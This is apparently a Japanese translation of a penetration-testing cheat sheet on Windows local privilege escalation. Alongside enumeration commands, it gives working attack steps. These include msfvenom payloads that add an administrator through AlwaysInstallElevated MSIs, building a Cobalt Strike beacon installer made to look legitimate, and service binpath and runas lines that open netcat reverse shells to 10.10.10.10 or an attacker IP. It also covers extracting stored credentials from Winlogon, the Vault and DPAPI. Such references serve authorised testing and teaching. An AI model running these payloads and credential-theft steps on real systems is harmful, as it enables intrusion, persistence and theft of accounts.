Windows Local Privilege Escalation

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

Windowsローカル特権昇格ベクターを探すための最良のツール: WinPEAS

初期のWindows理論

アクセス トークン

Windowsアクセス トークンがわからない場合は、続行する前に次のページを読んでください:

pageAccess Tokens

ACLs - DACLs/SACLs/ACEs

ACLs - DACLs/SACLs/ACEsに関する詳細情報については、次のページを確認してください:

pageACLs - DACLs/SACLs/ACEs

完全性レベル

Windowsの完全性レベルがわからない場合は、続行する前に次のページを読んでください:

pageIntegrity Levels

Windowsセキュリティコントロール

Windowsには、システムの列挙を防ぐ、実行可能ファイルを実行することさえも検出することができるさまざまなものがあります。特権昇格の列挙を開始する前に、これらの防御メカニズムをすべて読み、列挙してください:

pageWindows Security Controls

システム情報

バージョン情報の列挙

Windowsバージョンに既知の脆弱性があるかどうかを確認してください(適用されたパッチも確認してください)。

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

バージョンの脆弱性

このサイトは、Microsoftのセキュリティ脆弱性に関する詳細情報を検索するのに便利です。このデータベースには4,700以上のセキュリティ脆弱性があり、Windows環境が提示する膨大な攻撃面が示されています。

システム上

  • post/windows/gather/enum_patches

  • post/multi/recon/local_exploit_suggester

  • winpeas (Winpeasにwatsonが組み込まれています)

システム情報をローカルで

エクスプロイトのGithubリポジトリ:

環境

環境変数に保存された資格情報/重要情報はありますか?

set
dir env:
Get-ChildItem Env: | ft Key,Value

PowerShell の履歴

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell トランスクリプトファイル

これを有効にする方法については、https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/で学ぶことができます。

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShellモジュールのロギング

PowerShellパイプラインの実行の詳細が記録され、実行されたコマンド、コマンドの呼び出し、およびスクリプトの一部が含まれます。ただし、完全な実行の詳細と出力結果がキャプチャされない場合があります。

これを有効にするには、ドキュメントの「Transcript files」セクションの手順に従い、**「Powershell Transcription」の代わりに「モジュールのロギング」**を選択してください。

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

最後の15件のPowersShellログを表示するには、次のコマンドを実行します:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell スクリプトブロックのロギング

スクリプトの実行の完全なアクティビティと内容の記録がキャプチャされ、コードの各ブロックが実行されるたびにドキュメント化されます。このプロセスにより、各アクティビティの包括的な監査トレイルが保存され、フォレンジックや悪意のある動作の分析に役立ちます。実行時にすべてのアクティビティを文書化することで、プロセスに関する詳細な洞察が提供されます。

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

スクリプトブロックのログイベントは、Windowsイベントビューアー内のパスで見つけることができます: アプリケーションとサービスのログ > Microsoft > Windows > PowerShell > Operational。 最後の20イベントを表示するには次を使用します:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

インターネット設定

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

ドライブ

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

システムがhttpSではなくhttpを使用して更新を要求していない場合、システムを侵害することができます。

次のコマンドを実行して、ネットワークが非SSL WSUS更新を使用しているかどうかを確認できます。

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

もし次のような返信を受け取った場合:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

そして、HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer1 と等しい場合、それは悪用可能です。 最後のレジストリが 0 と等しい場合、WSUS エントリは無視されます。

これらの脆弱性を悪用するためには、WsuxploitpyWSUS などのツールを使用できます。これらは、MiTM(Man-in-the-Middle)兵器化されたエクスプロイトスクリプトであり、非SSL WSUS トラフィックに「偽」のアップデートを注入するためのものです。

こちらの研究を読んでください:

WSUS CVE-2020-1013

完全なレポートはこちら。 基本的に、このバグが悪用する欠陥は次のとおりです:

もしローカルユーザープロキシを変更する権限があれば、かつWindows Updates がInternet Explorer の設定で構成されたプロキシを使用している場合、私たちは自分自身のトラフィックを傍受し、資産上の昇格ユーザーとしてコードを実行する権限を持つ PyWSUS をローカルで実行する権限を持つことになります。

さらに、WSUS サービスは現在のユーザーの設定を使用するため、その証明書ストアも使用します。WSUS ホスト名の自己署名証明書を生成し、この証明書を現在のユーザーの証明書ストアに追加すれば、HTTP およびHTTPS のWSUS トラフィックを傍受できるようになります。WSUS は証明書に対して信頼済みでかつ正しいホスト名を持つ場合、証明書の最初の使用に信頼するようなメカニズムを実装していません。ユーザーによって信頼され、正しいホスト名を持つ証明書が提示された場合、サービスによって受け入れられます。

この脆弱性を悪用するには、WSUSpicious ツールを使用できます(解放された後)。

KrbRelayUp

特定の条件下で、Windows ドメイン 環境において ローカル特権昇格 脆弱性が存在します。これらの条件には、LDAP 署名が強制されていない環境、ユーザーが Resource-Based Constrained Delegation (RBCD) を構成する権限を持ち、ユーザーがドメイン内でコンピュータを作成できる能力が含まれます。これらの 要件デフォルト設定 を使用して満たされることが重要です。

https://github.com/Dec0ne/KrbRelayUp でエクスプロイトを見つけることができます。

攻撃の流れについての詳細情報は、https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/ をチェックしてください。

AlwaysInstallElevated

これらの 2 つのレジスタが 有効 になっている場合(値が 0x1)、任意の特権を持つユーザーが *.msi ファイルを NT AUTHORITY\SYSTEM として インストール(実行)できます。

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit ペイロード

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

PowerUP

Write-UserAddMSIコマンドを使用して、特権を昇格させるためのWindows MSIバイナリを現在のディレクトリ内に作成します。このスクリプトは、ユーザー/グループの追加を求める事前にコンパイルされたMSIインストーラを書き出します(そのため、GUIアクセスが必要です)。

Write-UserAddMSI

作成したバイナリを実行して特権を昇格させます。

MSIラッパー

このツールを使用してMSIラッパーを作成する方法について学ぶために、このチュートリアルを読んでください。コマンドラインを実行したい場合は、".bat"ファイルをラップできることに注意してください。

pageMSI Wrapper

WIXを使用したMSIの作成

pageCreate MSI with WIX

Visual Studioを使用したMSIの作成

  • Cobalt StrikeまたはMetasploitでC:\privesc\beacon.exe新しいWindows EXE TCPペイロードを生成します。

  • Visual Studioを開き、新しいプロジェクトを作成を選択し、検索ボックスに "installer" と入力します。Setup Wizardプロジェクトを選択して次へをクリックします。

  • プロジェクトにAlwaysPrivescなどの名前を付け、場所に**C:\privesc**を使用し、ソリューションとプロジェクトを同じディレクトリに配置を選択し、作成をクリックします。

  • 次へをクリックし続けて、ステップ3/4(含めるファイルを選択)に進みます。追加をクリックし、さきほど生成したBeaconペイロードを選択します。その後、完了をクリックします。

  • ソリューションエクスプローラAlwaysPrivescプロジェクトを強調表示し、プロパティTargetPlatformx86からx64に変更します。

  • インストールされたアプリをより合法的に見せることができるAuthorManufacturerなどの他のプロパティを変更できます。

  • プロジェクトを右クリックし、表示 > カスタムアクションを選択します。

  • インストールを右クリックし、カスタムアクションの追加を選択します。

  • Application Folderをダブルクリックし、beacon.exeファイルを選択してOKをクリックします。これにより、インストーラが実行されるとすぐにBeaconペイロードが実行されるようになります。

  • カスタムアクションのプロパティで、Run64BitTrueに変更します。

  • 最後に、ビルドします。

  • File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'という警告が表示される場合は、プラットフォームをx64に設定していることを確認してください。

MSIのインストール

悪意のある.msiファイルのインストールバックグラウンドで実行するには:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

特権昇格

この脆弱性を悪用するには、exploit/windows/local/always_install_elevated を使用できます。

アンチウイルスおよび検出器

監査設定

これらの設定は何が記録されるかを決定するため、注意を払う必要があります。

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding(Windows イベント転送)は、ログがどこに送信されているかを知るのが興味深いです。

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPSは、ドメインに参加しているコンピュータ上のローカル管理者パスワードの管理を目的としており、各パスワードが一意でランダム化され、定期的に更新されることを保証します。これらのパスワードはActive Directory内で安全に保存され、ACLを介して十分な権限が付与されたユーザーのみがアクセスでき、認可された場合にのみローカル管理者パスワードを表示できます。

pageLAPS

WDigest

WDigestが有効な場合、平文パスワードがLSASS(Local Security Authority Subsystem Service)に保存されます。 WDigestに関する詳細情報はこのページを参照

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Windows 8.1からはじまり、Microsoftはローカルセキュリティ機関(LSA)のメモリを読み取ろうとする未信頼のプロセスの試みやコードのインジェクションをブロックするために、強化された保護を導入し、システムをさらにセキュアにしました。 LSA Protectionに関する詳細はこちら

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

資格情報ガード

資格情報ガードWindows 10に導入されました。その目的は、デバイスに保存されている資格情報をハッシュの盗用攻撃などの脅威から保護することです。資格情報ガードに関する詳細はこちら。

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

キャッシュされた資格情報

ドメインの資格情報は、ローカルセキュリティ機関(LSA)によって認証され、オペレーティングシステムのコンポーネントで利用されます。ユーザーのログオンデータが登録されたセキュリティパッケージによって認証されると、通常、ユーザーのためのドメインの資格情報が確立されます。 キャッシュされた資格情報に関する詳細はこちら

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

ユーザー&グループ

ユーザー&グループの列挙

興味深い権限を持つ可能性のあるグループが存在するかどうかを確認する必要があります

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

特権グループ

特権グループに所属している場合、特権を昇格させることができる可能性があります。特権グループについて学び、特権を昇格させる方法についてはこちら:

pagePrivileged Groups

トークン操作

トークンとは何かについて詳しく学ぶには、このページをご覧ください:Windows Tokens。 興味深いトークンについて学び、それらを悪用する方法については、次のページをチェックしてください:

pageAbusing Tokens

ログインユーザー / セッション

qwinsta
klist sessions

ホームフォルダ

dir C:\Users
Get-ChildItem C:\Users

パスワードポリシー

net accounts

クリップボードの内容を取得

powershell -command "Get-Clipboard"

実行中のプロセス

ファイルおよびフォルダのアクセス権限

まず最初に、プロセスのリストを作成して、プロセスのコマンドライン内にパスワードが含まれていないかを確認します。 実行中のバイナリを上書きできるかどうか、またはバイナリフォルダに書き込み権限があるかどうかを確認して、DLLハイジャック攻撃を悪用できるかどうかを確認します。

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

常に実行中の electron/cef/chromium デバッガー を確認し、特権昇格に悪用できる可能性があるかどうかを確認してください。

プロセスのバイナリの権限をチェックする

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

プロセスのバイナリフォルダーのアクセス許可をチェックする(DLLハイジャッキング

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

メモリーパスワードマイニング

Sysinternalsprocdump を使用して実行中のプロセスのメモリーダンプを作成できます。FTPのようなサービスでは、メモリー内に平文で資格情報が保存されていることがあります。メモリーダンプを取得して資格情報を読み取ってみてください。

procdump.exe -accepteula -ma <proc_name_tasklist>

セキュリティの脆弱なGUIアプリ

SYSTEMとして実行されているアプリケーションは、ユーザーがCMDを生成したり、ディレクトリを参照したりすることを許可するかもしれません。

例: "Windowsヘルプとサポート" (Windows + F1)、"コマンドプロンプト"を検索し、"クリックしてコマンドプロンプトを開く"をクリックします。

サービス

サービスのリストを取得します:

net start
wmic service list brief
sc query
Get-Service

権限

scを使用してサービスの情報を取得できます。

sc qc <service_name>

以下は、Sysinternals から accesschk というバイナリを使用して、各サービスの必要な特権レベルをチェックすることが推奨されています。

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

次の手順を実行して、「Authenticated Users」がどのサービスでも変更できるかどうかを確認することをお勧めします:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

XP用のaccesschk.exeをこちらからダウンロードできます

サービスの有効化

このようなエラーが発生している場合(たとえばSSDPSRVの場合):

System error 1058 has occurred. The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

次の方法で有効化できます:

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

サービスupnphostは、動作するためにSSDPSRVに依存していることに注意してください(XP SP1の場合)

この問題の別の回避策は、次のコマンドを実行することです:

sc.exe config usosvc start= auto

サービスのバイナリパスを変更する

"認証済みユーザー"グループがサービスに対してSERVICE_ALL_ACCESSを所有している場合、サービスの実行可能バイナリを変更することが可能です。scを変更して実行するには:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

サービスの再起動

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

特権はさまざまな権限を通じてエスカレートする可能性があります:

  • SERVICE_CHANGE_CONFIG:サービスバイナリの再構成を許可します。

  • WRITE_DAC:権限の再構成を有効にし、サービス構成を変更する能力を持つようになります。

  • WRITE_OWNER:所有権の取得と権限の再構成を許可します。

  • GENERIC_WRITE:サービス構成を変更する能力を継承します。

  • GENERIC_ALL:サービス構成を変更する能力を継承します。

この脆弱性の検出と悪用には、exploit/windows/local/service_permissions を利用できます。

サービスバイナリの権限が弱い

サービスによって実行されるバイナリを変更できるかどうか、またはバイナリが配置されているフォルダに書き込み権限があるかどうかを確認してください(DLL Hijacking)。 wmic(system32 以外)を使用してサービスによって実行されるすべてのバイナリを取得し、icacls を使用して権限を確認できます:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

あなたはscicaclsも使用することができます:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

サービスレジストリの変更権限

サービスレジストリを変更できるかどうかを確認する必要があります。 次のようにして、サービスレジストリ上での権限を確認できます:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

次のことを確認する必要があります: Authenticated Users または NT AUTHORITY\INTERACTIVEFullControl 権限を持っているかどうか。もしそうであれば、サービスによって実行されるバイナリを変更できます。

実行されるバイナリのパスを変更するには:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

サービスレジストリのAppendData/AddSubdirectory権限

レジストリにこの権限がある場合、このレジストリからサブレジストリを作成できます。Windowsサービスの場合、これは任意のコードを実行するのに十分です:

pageAppendData/AddSubdirectory permission over service registry

引用符のないサービスパス

実行可能ファイルへのパスが引用符で囲まれていない場合、Windowsはスペースの前のすべての終了を実行しようとします。

たとえば、パス C:\Program Files\Some Folder\Service.exe の場合、Windowsは次のように実行しようとします:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

組み込みのWindowsサービスに属するものを除く、すべての引用符のないサービスパスをリストアップします:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services

#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

この脆弱性を検出して悪用することができます metasploitを使用して: exploit/windows/local/trusted\_service\_path 手動でmetasploitを使用してサービスバイナリを作成することもできます:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

リカバリーアクション

Windowsでは、サービスが失敗した場合に実行するアクションをユーザーが指定できます。この機能はバイナリを指定するように構成できます。このバイナリが置換可能であれば、特権昇格が可能になるかもしれません。詳細は公式ドキュメントに記載されています。

アプリケーション

インストールされたアプリケーション

バイナリのアクセス権(上書きして特権昇格を行うことができるかもしれません)とフォルダーのアクセス権(DLLハイジャッキング)を確認してください。

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

書き込み権限

特定のファイルを読むために設定ファイルを変更できるか、または管理者アカウント (schedtasks) によって実行されるバイナリを変更できるかどうかを確認します。

システム内の弱いフォルダ/ファイルの権限を見つける方法は次のとおりです:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

スタートアップで実行

異なるユーザーによって実行されるレジストリまたはバイナリを上書きできるかどうかを確認します。 次のページ読んで特権を昇格させるための興味深いautorunsの場所について詳しく学びます:

pagePrivilege Escalation with Autoruns

ドライバー

可能なサードパーティーの奇妙で脆弱なドライバーを探します

driverquery
driverquery.exe /fo table
driverquery /SI

PATH DLL ハイジャック

もし、PATH に存在するフォルダ内に書き込み権限がある場合、プロセスによって読み込まれる DLL をハイジャックして特権を昇格することができるかもしれません。

PATH 内のすべてのフォルダの権限をチェックします:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

このチェックを悪用する方法の詳細については、次を参照してください:

pageWritable Sys Path +Dll Hijacking Privesc

ネットワーク

共有

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

ホストファイル

ホストファイルにハードコードされた他の既知のコンピュータをチェックします。

type C:\Windows\System32\drivers\etc\hosts

ネットワークインターフェース&DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

オープンポート

外部から制限されたサービスをチェックします

netstat -ano #Opened ports?

ルーティングテーブル

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP テーブル

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

ファイアウォールのルール

ファイアウォールに関連するコマンドについては、このページをチェックしてください (ルールのリスト、ルールの作成、無効化、無効化...)

ネットワーク列挙のためのその他のコマンドはこちら

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

バイナリの bash.exeC:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe にも見つけることができます。

root ユーザーになると、任意のポートでリッスンすることができます(ポートで nc.exe を初めて使用すると、ファイアウォールによって nc が許可されるかどうかを GUI で尋ねられます)。

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Windowsの資格情報

Winlogonの資格情報

rootとしてbashを簡単に開始するには、--default-user rootを試してみてください。

WSLファイルシステムをC:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\フォルダで探索できます。

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

資格情報マネージャ / Windows Vault

https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault Windows Vaultは、Windowsユーザーを自動的にログインさせることができるサーバー、ウェブサイト、および他のプログラムのユーザー資格情報を格納します。最初のインスタンスでは、これはユーザーがFacebookの資格情報、Twitterの資格情報、Gmailの資格情報などを保存し、それによって自動的にブラウザ経由でログインできるようになると思われるかもしれませんが、実際にはそうではありません。

Windows Vaultは、Windowsがユーザーを自動的にログインさせるための資格情報を格納し、つまり、リソース(サーバーまたはウェブサイト)にアクセスするために資格情報が必要なWindowsアプリケーションがこの資格情報マネージャ&Windows Vaultを利用し、ユーザーがユーザー名とパスワードを毎回入力する代わりに提供された資格情報を使用できます。

アプリケーションが資格情報マネージャとやり取りしない限り、特定のリソースの資格情報を使用することはできないと思います。したがって、アプリケーションがVaultを利用したい場合は、デフォルトのストレージVaultからそのリソースの資格情報を取得するように、どうにかして資格情報マネージャと通信する必要があります。

cmdkeyを使用して、マシンに保存されている資格情報をリストアップします。

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

次に、保存された資格情報を使用するためにrunas/savecredオプションとともに使用できます。次の例は、SMB共有を介してリモートバイナリを呼び出しています。

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

runasを提供された資格情報と共に使用します。

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

注意してください。mimikatz、lazagne、credentialfileviewVaultPasswordView、またはEmpire Powershells moduleから情報を取得できます。

DPAPI

**データ保護API(DPAPI)**は、データの対称暗号化のための方法を提供し、主にWindowsオペレーティングシステム内で非対称プライベートキーの対称暗号化に使用されます。この暗号化は、ユーザーまたはシステムの秘密をエントロピーに大きく寄与させます。

DPAPIは、ユーザーのログイン秘密から派生した対称鍵を使用してキーを暗号化することを可能にします。システム暗号化を含むシナリオでは、システムのドメイン認証秘密を利用します。

DPAPIを使用して暗号化されたユーザーRSAキーは、%APPDATA%\Microsoft\Protect\{SID}ディレクトリに保存されます。ここで、{SID}はユーザーのセキュリティ識別子を表します。DPAPIキーは、通常64バイトのランダムデータで構成され、ユーザーのプライベートキーを保護するマスターキーと同じファイルに共存しています。(このディレクトリへのアクセスは制限されており、CMDのdirコマンドを使用してその内容をリスト表示することはできませんが、PowerShellを使用してリスト表示することができます)。

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

次のようにして、適切な引数(/pvkまたは/rpc)を使用して、mimikatzモジュール dpapi::masterkeyを使用して復号化できます。

通常、マスターパスワードで保護された資格情報ファイルは次の場所にあります:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

mimikatzモジュール dpapi::cred を適切な /masterkey と共に使用して復号化することができます。 sekurlsa::dpapi モジュールを使用して(root権限であれば)、メモリから多くのDPAPI マスターキーを抽出できます。

pageDPAPI - Extracting Passwords

PowerShell資格情報

PowerShell資格情報 は、しばしばスクリプトや自動化タスクで使用され、暗号化された資格情報を便利に保存する手段として使用されます。これらの資格情報はDPAPIを使用して保護されており、通常は作成されたコンピューター上の同じユーザーによってのみ復号化できることを意味します。

